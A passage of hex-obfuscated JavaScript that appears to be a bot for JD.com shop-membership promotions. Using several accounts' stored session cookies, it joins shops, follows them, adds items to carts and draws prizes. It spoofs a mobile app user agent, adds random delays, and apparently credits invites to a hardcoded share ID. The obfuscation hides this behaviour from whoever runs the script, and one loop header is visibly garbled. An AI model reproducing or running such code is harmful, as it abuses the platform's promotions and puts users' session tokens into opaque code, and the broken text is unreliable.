\x69\x78\x4e\x69\x63\x6b\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x65\x74\x4d\x69\x78\x4e\x69\x63\x6b','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6c\x6f\x61\x64\x55\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6c\x6f\x61\x64\x55\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x68\x6f\x70\x4c\x69\x73\x74\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x68\x6f\x70\x4c\x69\x73\x74','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x4f\x6e\x65\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x4f\x6e\x65','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x63\x6f\x6c\x6c\x65\x63\x74\x53\x68\x6f\x70','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x61\x64\x64\x43\x61\x72\x74\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x61\x64\x64\x43\x61\x72\x74','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x79\x41\x77\x61\x72\x64\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x79\x41\x77\x61\x72\x64','\x2f\x64\x6d\x2f\x66\x72\x6f\x6e\x74\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x69\x73\x73\x69\x6f\x6e\x49\x6e\x76\x69\x74\x65\x4c\x69\x73\x74\x3f\x6d\x69\x78\x5f\x6e\x69\x63\x6b\x3d','\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x6d\x69\x73\x73\x69\x6f\x6e\x49\x6e\x76\x69\x74\x65\x4c\x69\x73\x74','\x70\x6f\x73\x74','\x73\x74\x61\x74\x75\x73\x43\x6f\x64\x65','\x74\x6f\x53\x74\x72','\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\x61\x63\x63\x65\x73\x73\x4c\x6f\x67\x57\x69\x74\x68\x41\x44','\x64\x72\x61\x77\x43\x6f\x6e\x74\x65\x6e\x74','\x70\x61\x72\x73\x65','\x20\u6267\u884c\u4efb\u52a1\u5f02\u5e38','\x72\x75\x6e\x46\x61\x6c\x61\x67','\x6f\x62\x6a\x65\x63\x74','\x65\x72\x72\x63\x6f\x64\x65','\x74\x6f\x6b\x65\x6e','\x75\x6e\x64\x65\x66\x69\x6e\x65\x64','\x6d\x65\x73\x73\x61\x67\x65','\x63\x68\x65\x63\x6b\x4f\x70\x65\x6e\x43\x61\x72\x64','\x73\x75\x63\x63\x65\x73\x73','\x64\x61\x74\x61','\x73\x74\x61\x74\x75\x73','\x73\x75\x63\x63','\x69\x6e\x64\x65\x78\x4f\x66','\u7ed1\u5b9a\u6210\u529f','\x63\x75\x73\x74\x6f\x6d\x65\x72','\x69\x73\x46\x6f\x63\x75\x73\x41\x77\x61\x72\x64','\x69\x73\x43\x61\x72\x74\x41\x77\x61\x72\x64','\x72\x65\x6d\x61\x69\x6e\x44\x72\x61\x77\x43\x68\x61\x6e\x63\x65','\x67\x61\x69\x6e\x42\x65\x61\x6e\x73','\x74\x6f\x74\x61\x6c\x43\x68\x61\x6e\x63\x65','\x75\x73\x65\x64\x43\x68\x61\x6e\x63\x65','\x72\x65\x6d\x61\x69\x6e\x43\x68\x61\x6e\x63\x65','\x6a\x64\x41\x63\x74\x69\x76\x69\x74\x79\x53\x65\x74\x74\x69\x6e\x67','\x6c\x69\x73\x74','\x72\x65\x6d\x61\x72\x6b','\u9080\u8bf7\u4eba\u6570\x28','\x74\x6f\x74\x61\x6c','\x65\x72\x72\x6f\x72\x4d\x65\x73\x73\x61\x67\x65','\x2d\x3e\x20','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e','\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x2c\x20\x62\x72','\x7a\x68\x2d\x63\x6e','\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64','\x58\x4d\x4c\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74','\x4f\x72\x69\x67\x69\x6e','\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x3b\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x75\x74\x66\x2d\x38','\x43\x6f\x6f\x6b\x69\x65','\x73\x68\x6f\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64','\x2c\x22\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x22\x3a','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x61\x70\x70\x69\x64\x3d\x6a\x64\x5f\x73\x68\x6f\x70\x5f\x6d\x65\x6d\x62\x65\x72\x26\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x62\x69\x6e\x64\x57\x69\x74\x68\x56\x65\x6e\x64\x65\x72\x26\x62\x6f\x64\x79\x3d\x7b\x22\x76\x65\x6e\x64\x65\x72\x49\x64\x22\x3a\x22','\x22\x2c\x22\x73\x68\x6f\x70\x49\x64\x22\x3a\x22','\x22\x2c\x22\x62\x69\x6e\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6f\x64\x65\x46\x6c\x61\x67\x22\x3a\x31\x2c\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6e\x64\x22\x3a\x7b\x7d\x2c\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6c\x64\x46\x6c\x61\x67\x22\x3a\x30','\x2c\x22\x63\x68\x61\x6e\x6e\x65\x6c\x22\x3a\x34\x30\x31\x7d\x26\x63\x6c\x69\x65\x6e\x74\x3d\x48\x35\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x39\x2e\x32\x2e\x30\x26\x75\x75\x69\x64\x3d\x38\x38\x38\x38\x38','\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x3b\x20\x43\x68\x61\x72\x73\x65\x74\x3d\x55\x54\x46\x2d\x38','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d','\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d','\x2a\x2f\x2a','\x67\x65\x74','\x74\x6f\x4f\x62\x6a','\x72\x65\x73\x75\x6c\x74','\x67\x69\x66\x74\x49\x6e\x66\x6f','\x67\x69\x66\x74\x4c\x69\x73\x74','\u5165\u4f1a\u83b7\u5f97\x3a','\x64\x69\x73\x63\x6f\x75\x6e\x74\x53\x74\x72\x69\x6e\x67','\x70\x72\x69\x7a\x65\x4e\x61\x6d\x65','\x73\x65\x63\x6f\x6e\x64\x4c\x69\x6e\x65\x44\x65\x73\x63','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x61\x70\x70\x69\x64\x3d\x6a\x64\x5f\x73\x68\x6f\x70\x5f\x6d\x65\x6d\x62\x65\x72\x26\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x67\x65\x74\x53\x68\x6f\x70\x4f\x70\x65\x6e\x43\x61\x72\x64\x49\x6e\x66\x6f\x26\x62\x6f\x64\x79\x3d\x25\x37\x42\x25\x32\x32\x76\x65\x6e\x64\x65\x72\x49\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32','\x25\x32\x32\x25\x32\x43\x25\x32\x32\x63\x68\x61\x6e\x6e\x65\x6c\x25\x32\x32\x25\x33\x41\x34\x30\x31\x25\x37\x44\x26\x63\x6c\x69\x65\x6e\x74\x3d\x48\x35\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x39\x2e\x32\x2e\x30\x26\x75\x75\x69\x64\x3d\x38\x38\x38\x38\x38','\u5165\u4f1a\x3a','\x73\x68\x6f\x70\x4d\x65\x6d\x62\x65\x72\x43\x61\x72\x64\x49\x6e\x66\x6f','\x76\x65\x6e\x64\x65\x72\x43\x61\x72\x64\x4e\x61\x6d\x65','\x69\x6e\x74\x65\x72\x65\x73\x74\x73\x52\x75\x6c\x65\x4c\x69\x73\x74','\x69\x6e\x74\x65\x72\x65\x73\x74\x73\x49\x6e\x66\x6f','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x64\x7a\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d','\x73\x68\x61\x72\x65\x55\x75\x69\x64','\x20\x63\x6f\x6f\x6b\x69\x65\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\x30\x32\x38\x32\x32\x36\x36\x66\x39\x61\x37\x39\x34\x31\x31\x32\x61\x30\x61\x62\x34\x61\x62\x36\x63\x37\x38\x66\x38\x61\x30\x39','\x73\x74\x72\x69\x6e\x67\x69\x66\x79','\x72\x65\x70\x6c\x61\x63\x65','\x25\x32\x37','\x25\x37\x45','\x61\x64\x6d\x6a\x73\x6f\x6e','\x6d\x65\x74\x68\x6f\x64','\x74\x69\x6d\x65\x73\x74\x61\x6d\x70','\x6d\x64\x35','\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65','\x32\x2e\x30','\x66\x6c\x6f\x6f\x72','\x6a\x64\x61\x70\x70\x3b\x69\x50\x68\x6f\x6e\x65\x3b\x31\x30\x2e\x31\x2e\x34\x3b\x31\x33\x2e\x31\x2e\x32\x3b','\x3b\x6e\x65\x74\x77\x6f\x72\x6b\x2f\x77\x69\x66\x69\x3b\x6d\x6f\x64\x65\x6c\x2f\x69\x50\x68\x6f\x6e\x65\x38\x2c\x31\x3b\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2f\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3b\x61\x70\x70\x42\x75\x69\x6c\x64\x2f\x31\x36\x37\x38\x31\x34\x3b\x6a\x64\x53\x75\x70\x70\x6f\x72\x74\x44\x61\x72\x6b\x4d\x6f\x64\x65\x2f\x30\x3b\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x31\x5f\x32\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x3b\x73\x75\x70\x70\x6f\x72\x74\x4a\x44\x53\x48\x57\x4b\x2f\x31','\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39','\x63\x68\x61\x72\x41\x74','\x73\x74\x72\x69\x6e\x67','\u8bf7\u52ff\u968f\u610f\u5728\x42\x6f\x78\x4a\x73\u8f93\u5165\u6846\u4fee\u6539\u5185\u5bb9\x0a\u5efa\u8bae\u901a\u8fc7\u811a\u672c\u53bb\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65','\x4f\x6a\x59\x72\x46\x73\x46\x47\x4c\x6a\x75\x64\x69\x78\x70\x57\x61\x56\x50\x6d\x69\x2e\x63\x6f\x6d\x2e\x76\x36\x3d\x3d'];var _0x5d59=function(_0x31b4ba,_0x6d9140){_0x31b4ba=~~'0x'['concat'](_0x31b4ba);var _0x2fcd5f=_0x4384[_0x31b4ba];return _0x2fcd5f;};(function(_0x1a8dce,_0x4e1ff3){var _0xfc19fa=0x0;for(_0x4e1ff3=_0x1a8dce['shift'](_0xfc19fa>>0x2);_0x4e1ff3&&_0x4e1ff3!==(_0x1a8dce['pop'](_0xfc19fa>>0x3)+'')['replace'](/[OYrFFGLudxpWVP=]/g,'');_0xfc19fa++){_0xfc19fa=_0xfc19fa^0xaabbc;}}(_0x4384,_0x5d59));let cookiesArr=[],cookie='';if($[_0x5d59('0')]()){Object[_0x5d59('1')](jdCookieNode)[_0x5d59('2')](_0x4fc76e=>{cookiesArr[_0x5d59('3')](jdCookieNode[_0x4fc76e]);});if(process[_0x5d59('4')][_0x5d59('5')]&&process[_0x5d59('4')][_0x5d59('5')]===_0x5d59('6'))console[_0x5d59('7')]=()=>{};}else{cookiesArr=[$[_0x5d59('8')](_0x5d59('9')),$[_0x5d59('8')](_0x5d59('a')),...jsonParse($[_0x5d59('8')](_0x5d59('b'))||'\x5b\x5d')[_0x5d59('c')](_0x3cd9c1=>_0x3cd9c1[_0x5d59('d')])][_0x5d59('e')](_0x597302=>!!_0x597302);}guaopencard_addSku=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('f')]?process[_0x5d59('4')][_0x5d59('f')]:''+guaopencard_addSku:$[_0x5d59('8')](_0x5d59('f'))?$[_0x5d59('8')](_0x5d59('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('10')]?process[_0x5d59('4')][_0x5d59('10')]:''+guaopencard_addSku:$[_0x5d59('8')](_0x5d59('10'))?$[_0x5d59('8')](_0x5d59('10')):''+guaopencard_addSku;guaopencard=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('11')]?process[_0x5d59('4')][_0x5d59('11')]:''+guaopencard:$[_0x5d59('8')](_0x5d59('11'))?$[_0x5d59('8')](_0x5d59('11')):''+guaopencard;guaopencard=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('12')]?process[_0x5d59('4')][_0x5d59('12')]:''+guaopencard:$[_0x5d59('8')](_0x5d59('12'))?$[_0x5d59('8')](_0x5d59('12')):''+guaopencard;guaopenwait=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('13')]?process[_0x5d59('4')][_0x5d59('13')]:''+guaopenwait:$[_0x5d59('8')](_0x5d59('13'))?$[_0x5d59('8')](_0x5d59('13')):''+guaopenwait;guaopenwait=$[_0x5d59('0')]()?process[_0x5d59('4')][_0x5d59('14')]?process[_0x5d59('4')][_0x5d59('14')]:''+guaopenwait:$[_0x5d59('8')](_0x5d59('14'))?$[_0x5d59('8')](_0x5d59('14')):''+guaopenwait;guaopenwait=parseInt(guaopenwait,0xa)||0x0;allMessage='';message='';$[_0x5d59('15')]=![];$[_0x5d59('16')]=![];$[_0x5d59('17')]=![];let lz_jdpin_token_cookie='';let activityCookie='';!(async()=>{if($[_0x5d59('0')]()){if(guaopencard+''!=_0x5d59('18')){console[_0x5d59('7')](_0x5d59('19'));}if(guaopencard+''!=_0x5d59('18')){return;}}if(!cookiesArr[0x0]){$[_0x5d59('1a')]($[_0x5d59('1b')],_0x5d59('1c'),_0x5d59('1d'),{'open-url':_0x5d59('1d')});return;}$[_0x5d59('1e')]=_0x5d59('1f');$[_0x5d59('20')]=_0x5d59('21');$[_0x5d59('22')]=_0x5d59('23');$[_0x5d59('24')]=_0x5d59('25');$[_0x5d59('26')]=_0x5d59('27');MD5();for(let _0x358567=0x0;_0x358567$[_0x5d59('34')](_0x238973))[_0x5d59('35')](()=>$[_0x5d59('36')]());async function run(){try{$[_0x5d59('37')]=!![];$[_0x5d59('38')]=0x0;lz_jdpin_token_cookie='';$[_0x5d59('39')]='';$[_0x5d59('3a')]='';$[_0x5d59('30')]='';let _0x1de539=![];$[_0x5d59('3b')]=-0x1;if($[_0x5d59('17')])return;if($[_0x5d59('16')]){console[_0x5d59('7')](_0x5d59('3c'));return;}await takePostRequest(_0x5d59('3d'));if($[_0x5d59('39')]==''){console[_0x5d59('7')](_0x5d59('3e'));return;}await takePostRequest(_0x5d59('3f'));if($[_0x5d59('30')]==''){console[_0x5d59('7')](_0x5d59('40'));return;}$[_0x5d59('41')]=0x0;await takePostRequest(_0x5d59('42'));if($[_0x5d59('3b')]==-0x1){$[_0x5d59('30')]='';console[_0x5d59('7')](_0x5d59('43'));return;}if(Date[_0x5d59('44')]()>$[_0x5d59('38')]){$[_0x5d59('30')]='';$[_0x5d59('17')]=!![];console[_0x5d59('7')](_0x5d59('45'));return;}console[_0x5d59('7')](_0x5d59('46')+$[_0x5d59('47')]+'\x2f'+$[_0x5d59('3b')]+'\x29');$[_0x5d59('48')]=[];await takePostRequest(_0x5d59('49'));if($[_0x5d59('48')]&&$[_0x5d59('3b')]-$[_0x5d59('47')]>0x0){if($[_0x5d59('41')]==0x1)$[_0x5d59('41')]=0x2;await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0xbb8,0xa));for(let _0x45f7e7 of $[_0x5d59('48')]){$[_0x5d59('4c')]=_0x45f7e7[_0x5d59('20')];$[_0x5d59('4d')]='';await takePostRequest(_0x5d59('4e'));$[_0x5d59('4c')]='';if($[_0x5d59('4d')]===''){console[_0x5d59('7')](_0x45f7e7[_0x5d59('4f')]);await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0xbb8,0xa));$[_0x5d59('50')]=_0x45f7e7[_0x5d59('20')];await joinShop();await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x3e8+0x3e8,0xa));$[_0x5d59('51')]=_0x45f7e7[_0x5d59('20')];await takePostRequest(_0x5d59('42'));$[_0x5d59('51')]='';}await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0xbb8,0xa));}}await takePostRequest(_0x5d59('52'));await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0x7d0,0xa));if(guaopencard_addSku+''!=_0x5d59('18')){console[_0x5d59('7')](_0x5d59('53'));}else{await takePostRequest(_0x5d59('54'));await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0xbb8+0x7d0,0xa));}await takePostRequest(_0x5d59('55'));await takePostRequest(_0x5d59('56'));console[_0x5d59('7')]($[_0x5d59('30')]);console[_0x5d59('7')](_0x5d59('57')+$[_0x5d59('26')]);if($[_0x5d59('2b')]==0x1){$[_0x5d59('26')]=$[_0x5d59('30')];console[_0x5d59('7')](_0x5d59('58')+$[_0x5d59('26')]);}await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x3e8+0x1388,0xa));if(_0x1de539)await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x3e8+0x2710,0xa));if(guaopenwait){if($[_0x5d59('2b')]!=cookiesArr[_0x5d59('28')]){console[_0x5d59('7')]('\u7b49\u5f85'+guaopenwait+'\u79d2');await $[_0x5d59('4a')](parseInt(guaopenwait,0xa)*0x3e8);}}else{if($[_0x5d59('2b')]%0x3==0x0)console[_0x5d59('7')](_0x5d59('59'));if($[_0x5d59('2b')]%0x3==0x0)await $[_0x5d59('4a')](parseInt(Math[_0x5d59('4b')]()*0x1388+0xea60,0xa));}}catch(_0x3776d6){console[_0x5d59('7')](_0x3776d6);}}async function takePostRequest(_0x4fed15){if($[_0x5d59('16')])return;let _0x4e8b4c=_0x5d59('5a');let _0x397d45='';let _0x5e2587=_0x5d59('5b');let _0x488774='';switch(_0x4fed15){case _0x5d59('3d'):_0x4e8b4c=_0x5d59('5c');_0x397d45=_0x5d59('5d');break;case _0x5d59('3f'):_0x4e8b4c=_0x4e8b4c+_0x5d59('5e')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'source':'\x30\x31','strTMMixNick':$[_0x5d59('39')]};_0x397d45=taskPostUrl(_0x5d59('5f'),_0x488774);break;case _0x5d59('42'):_0x4e8b4c=_0x4e8b4c+_0x5d59('60')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'shopId':$[_0x5d59('51')]||null,'inviteNick':$[_0x5d59('26')]||null};_0x397d45=taskPostUrl(_0x5d59('61'),_0x488774);break;case _0x5d59('49'):_0x4e8b4c=_0x4e8b4c+_0x5d59('62')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')]};_0x397d45=taskPostUrl(_0x5d59('63'),_0x488774);break;case _0x5d59('4e'):_0x4e8b4c=_0x4e8b4c+_0x5d59('64')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'shopId':$[_0x5d59('4c')]||null};_0x397d45=taskPostUrl(_0x5d59('65'),_0x488774);break;case _0x5d59('52'):_0x4e8b4c=_0x4e8b4c+_0x5d59('66')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'missionType':_0x5d59('67')};_0x397d45=taskPostUrl(_0x5d59('68'),_0x488774);break;case _0x5d59('54'):_0x4e8b4c=_0x4e8b4c+_0x5d59('69')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')],'missionType':_0x5d59('54')};_0x397d45=taskPostUrl(_0x5d59('6a'),_0x488774);break;case _0x5d59('55'):_0x4e8b4c=_0x4e8b4c+_0x5d59('6b')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')]};_0x397d45=taskPostUrl(_0x5d59('6c'),_0x488774);break;case _0x5d59('56'):_0x4e8b4c=_0x4e8b4c+_0x5d59('6d')+($[_0x5d59('30')]||$[_0x5d59('24')]||'');_0x488774={'actId':$[_0x5d59('22')]};_0x397d45=taskPostUrl(_0x5d59('6e'),_0x488774);break;default:console[_0x5d59('7')]('\u9519\u8bef'+_0x4fed15);}let _0x2c1648=getPostRequest(_0x4e8b4c,_0x397d45,_0x5e2587);return new Promise(async _0x3491c1=>{$[_0x5d59('6f')](_0x2c1648,(_0x4a2b04,_0x43afc4,_0x190224)=>{try{if(_0x4a2b04){if(_0x43afc4&&_0x43afc4[_0x5d59('70')]&&_0x43afc4[_0x5d59('70')]==0x1ed){console[_0x5d59('7')](_0x5d59('3c'));$[_0x5d59('16')]=!![];}console[_0x5d59('7')](''+$[_0x5d59('71')](_0x4a2b04,_0x4a2b04));console[_0x5d59('7')](_0x4fed15+_0x5d59('72'));}else{dealReturn(_0x4fed15,_0x190224);}}catch(_0x291754){console[_0x5d59('7')](_0x291754,_0x43afc4);}finally{_0x3491c1();}});});}async function dealReturn(_0x40bdc6,_0x2deda4){let _0x4e1328='';try{if(_0x40bdc6!=_0x5d59('73')||_0x40bdc6!=_0x5d59('74')){if(_0x2deda4){_0x4e1328=JSON[_0x5d59('75')](_0x2deda4);}}}catch(_0x48519a){console[_0x5d59('7')](_0x40bdc6+_0x5d59('76'));console[_0x5d59('7')](_0x2deda4);$[_0x5d59('77')]=![];}try{switch(_0x40bdc6){case _0x5d59('3d'):if(typeof _0x4e1328==_0x5d59('78')){if(_0x4e1328[_0x5d59('79')]==0x0){if(typeof _0x4e1328[_0x5d59('7a')]!=_0x5d59('7b'))$[_0x5d59('39')]=_0x4e1328[_0x5d59('7a')];}else if(_0x4e1328[_0x5d59('7c')]){console[_0x5d59('7')](_0x40bdc6+'\x20'+(_0x4e1328[_0x5d59('7c')]||''));}else{console[_0x5d59('7')](_0x2deda4);}}else{console[_0x5d59('7')](_0x2deda4);}break;case _0x5d59('73'):case _0x5d59('74'):break;case _0x5d59('42'):case _0x5d59('3f'):case _0x5d59('49'):case _0x5d59('4e'):case _0x5d59('7d'):case _0x5d59('52'):case _0x5d59('54'):case _0x5d59('55'):case _0x5d59('56'):let _0x127c0c='';if(_0x40bdc6==_0x5d59('52'))_0x127c0c='\u5173\u6ce8';if(_0x40bdc6==_0x5d59('54'))_0x127c0c='\u52a0\u8d2d';if(typeof _0x4e1328==_0x5d59('78')){if(_0x4e1328[_0x5d59('7e')]&&_0x4e1328[_0x5d59('7e')]===!![]&&_0x4e1328[_0x5d59('7f')]){_0x4e1328=_0x4e1328[_0x5d59('7f')];if(_0x4e1328[_0x5d59('80')]&&_0x4e1328[_0x5d59('80')]==0xc8){if(_0x40bdc6!=_0x5d59('3f'))console[_0x5d59('7')](''+(_0x127c0c&&_0x127c0c+'\x3a'||'')+(_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||''));if(_0x40bdc6==_0x5d59('3f')){if(_0x4e1328[_0x5d59('7f')]&&_0x4e1328[_0x5d59('7f')][_0x5d59('81')]===!![]&&typeof _0x4e1328[_0x5d59('7f')][_0x5d59('1a')]!=_0x5d59('7b')){$[_0x5d59('30')]=_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||'';}}else if(_0x40bdc6==_0x5d59('42')){if(_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]){if((_0x4e1328[_0x5d59('1a')]||_0x4e1328[_0x5d59('7f')][_0x5d59('1a')]||'')[_0x5d59('82')](_0x5d59('83'))>-0x1)$[_0x5d59('41')]=0x1;}if(_0x4e1328[_0x5d59('7f')]&&_0x4e1328[_0x5d59('7f')][_0x5d59('81')]===!![]){if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('47')]!=_0x5d59('7b'))$[_0x5d59('47')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('47')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('85')]!=_0x5d59('7b'))$[_0x5d59('85')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('85')]||![];if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('86')]!=_0x5d59('7b'))$[_0x5d59('86')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('86')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('87')]!=_0x5d59('7b'))$[_0x5d59('87')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('87')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('88')]!=_0x5d59('7b'))$[_0x5d59('88')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('88')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('89')]!=_0x5d59('7b'))$[_0x5d59('89')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('89')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8a')]!=_0x5d59('7b'))$[_0x5d59('8a')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8a')]||0x0;if(typeof _0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8b')]!=_0x5d59('7b'))$[_0x5d59('8b')]=_0x4e1328[_0x5d59('7f')][_0x5d59('84')][_0x5d59('8b')]||0x0;if(typeof 